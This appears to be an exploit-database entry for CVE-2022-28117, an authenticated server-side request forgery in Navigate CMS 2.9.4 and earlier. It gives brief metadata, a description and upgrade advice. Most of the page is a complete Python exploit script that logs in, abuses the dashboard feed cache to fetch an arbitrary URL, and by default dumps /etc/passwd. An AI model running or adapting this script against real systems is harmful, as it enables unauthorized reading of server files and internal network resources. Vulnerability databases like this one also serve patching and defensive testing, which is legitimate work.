header-logo
Suggest Exploit
vendor:
Navigate CMS
by:
cheshireca7
4.9
CVSS
MEDIUM
Server-Side Request Forgery (SSRF)
918
CWE
Product Name: Navigate CMS
Affected Version From: 2.9.2004
Affected Version To: 2.9.4 and earlier
Patch Exists: YES
Related CWE: CVE-2022-28117
CPE: navigatecms
Metasploit:
Other Scripts:
Tags: authenticated,packetstorm,cve,cve2022,ssrf,navigate,cms,lfi,intrusive
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
Nuclei Metadata: {'max-request': 4, 'verified': True, 'vendor': 'naviwebs', 'product': 'navigate_cms'}
Platforms Tested: Ubuntu 20.04
2020

Navigate CMS 2.9.4 – Server-Side Request Forgery (SSRF) (Authenticated)

Navigate CMS 2.9.4 is vulnerable to Server-Side Request Forgery (SSRF) when an authenticated user is able to send a malicious request to the server. This can be exploited to gain access to internal resources, such as the local network, and can be used to perform further attacks. This vulnerability affects Navigate CMS versions 2.9.4 and earlier.

Mitigation:

Upgrade to the latest version of Navigate CMS.
Source

Exploit-DB raw data:

#!/usr/bin/env python3
# Exploit Title: Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF) (Authenticated)
# Exploit Author: cheshireca7
# Vendor Homepage: https://www.navigatecms.com/
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.9.4r1561.zip/download
# Version: 2.9.4 and earlier
# Tested on: Ubuntu 20.04
# CVE: CVE-2022-28117
#
# -*- coding: utf-8 -*-

import requests as r, signal
from emoji import emojize
from argparse import ArgumentParser
from sys import exit
from requests_toolbelt.multipart.encoder import MultipartEncoder
from hashlib import md5
from time import sleep
from base64 import b64decode,b64encode
from colorama import Fore, Style

#proxies = {'http':'http://127.0.0.1:8080'}

def handler(signum, frame):
    print("["+Fore.YELLOW+"!"+Style.RESET_ALL+"] "+emojize(b64decode("T2gsIHlvdSBjYW7igJl0IGhlbHAgdGhhdCwgd2UncmUgYWxsIG1hZCBoZXJlIC4uLiA6cGF3X3ByaW50czoK").decode('UTF-8')))
    exit()

def login():
    print("["+Fore.BLUE+"*"+Style.RESET_ALL+f"] Trying to authenticate as {args.username} ...")
    sleep(1)

    try:
        # Grabbing CSRF Token
        s = r.Session()
        resp = s.get(f"{args.target}/login.php")#, proxies=proxies)
        csrf_token = resp.headers['X-Csrf-Token']

        # Performing login
        data = MultipartEncoder(fields={'login-username':f"{args.username}",'csrf_token':f"{csrf_token}",'login-password':f"{args.password}"})
        headers = {'Content-Type':data.content_type}
        resp = s.post(f"{args.target}/login.php", data=data, headers=headers, allow_redirects=False)#, proxies=proxies)
    except:
        print("["+Fore.RED+"!"+Style.RESET_ALL+"] Something went wrong performing log in")
        exit(-1)
    if resp.status_code == 302:
        print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Login successful!")
        for cookie in resp.cookies:
            if "NVSID" in cookie.name:
                return (resp.headers['X-Csrf-Token'],f"{cookie.name}={cookie.value}")
    else:
        print("["+Fore.RED+"!"+Style.RESET_ALL+f"] Incorrect {args.username}'s credentials")
        exit(-1)

def exploit(values):
    print("["+Fore.BLUE+"*"+Style.RESET_ALL+"] Performing SSRF ...")
    sleep(1)
    
    # Abusing cache feature to retrieve response 
    data = {'limit':'5','language':'en','url':f'{args.payload}'}
    headers = {'X-Csrf-Token':values[0]}
    cookies = {values[1].split('=')[0]:values[1].split('=')[1]}
    resp = r.post(f"{args.target}/navigate.php?fid=dashboard&act=json&oper=feed", cookies=cookies, headers=headers, data=data)#, proxies=proxies)

    # Retrieving the file with response from static route
    md5File = md5(f"{args.payload}".encode('UTF-8')).hexdigest()
    resp = r.get(f"{args.target}/private/1/cache/{md5File}.feed",cookies=cookies)#,proxies=proxies)
    if len(resp.text) > 0:
        print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Dumping content ...")
        sleep(1)
        print(f"\n{resp.text}")
        exit(0)
    else:
        print("["+Fore.RED+"!"+Style.RESET_ALL+"] No response received")
        exit(-1)

if __name__ == '__main__':

    # Define parameters    
    signal.signal(signal.SIGINT, handler)
    parser = ArgumentParser(description='CVE-2022-28117: Navigate CMS <= 2.9.4 - Server-Side Request Forgery (Authenticated)')
    parser.add_argument('-x', '--payload',default='file:///etc/passwd', help='URL to be requested (default=file:///etc/passwd)')
    parser.add_argument('-u','--username', default='admin', help='Username to log in the CMS (default=admin)')
    parser.add_argument('-p','--password', required=True, help='Password to log in the CMS')
    parser.add_argument('target', help='URL where the CMS is hosted. Ex: http://example.com[:80]/navigate')
    args = parser.parse_args()

    exploit(login())